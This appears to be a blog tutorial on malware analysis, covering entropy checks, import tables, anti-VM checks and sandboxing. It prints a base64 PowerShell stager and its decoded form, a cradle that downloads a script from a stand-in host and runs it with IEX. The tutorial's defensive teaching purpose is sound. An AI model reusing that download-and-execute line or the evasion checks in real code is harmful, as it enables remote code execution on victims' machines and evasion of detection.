When you see memory being allocated with VirtualAllocEx and a payload being injected via WriteProcessMemory in Windows API calls, you’re standing at the final bastion of the defense line. If the EDR (Endpoint Detection and Response) isn't screaming at that point, the ball is in your court.
Hey folks, I'm Sedat. Today, we're going to peek inside some 'black boxes.' As a Red Teamer, just writing malware or gaining access isn't enough; understanding what's happening inside those weird, packed, and stealthy binaries is the most fundamental way to strengthen the Blue Team. Malware analysis isn't just a 'file inspection' job; it’s an art of mind-reading. You need to decode the developer's intent, find the IP address hidden behind those complex XOR loops, or figure out which registry key they’re hitting for persistence.
1. Static Analysis: First Steps in a Dead Autopsy
Analyzing a file before executing it is always the safest route, but sometimes it’s the most confusing. If you run the strings command and nothing meaningful pops up, you’re likely looking at a high-entropy file (a chaotic data structure).
If a PE (Portable Executable) file's entropy value is above 7.0, that file is either compressed (UPX, etc.) or encrypted.
# Example entropy and string check (Defanged)
$ strings suspicious.exe | grep -i "http"
$ pevalidator --entropy suspicious.exe
# Output: Section .text has entropy 7.89 (Possible encryption/packing)
The first place you should look in static analysis is the 'Import Address Table' (IAT). If a piece of malware only imports GetProcAddress and LoadLibrary from Kernel32.dll, stop and think. This is a sign that the malware will dynamically load its own API calls at runtime. In other words, it’s trying to dodge your analysis.
2. Dynamic Analysis: Watching the Beast in the Cage
Static analysis only takes us so far. The real action starts when we run the file in an isolated lab environment (Sandboxing). But watch out—modern malware now checks if you’re inside a virtual machine (VM).
For instance, they look for strings like 'VBOX' or 'VMWARE' by doing a simple CPUID check or looking at registry keys like HKEY_LOCAL_MACHINE\HARDWARE\Description\System\SystemBiosVersion. If it realizes it's in a VM, the file either self-destructs or acts like a completely harmless 'calc.exe'.
This is where 'Behavioral Analysis' kicks in. What system calls is the file making while running?
# Defanged PowerShell Stager Analysis
$mal_code = "JABjID0gTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyRzID0gJGMuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLnR4dCcpO0lFWCAkcw=="
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($mal_code))
Write-Host $decoded
# Output: $c = New-Object Net.WebClient; $s = $c.DownloadString('http://example.com/payload.txt'); IEX $s
The example above is a simple demonstration of how we can deconstruct hidden layers.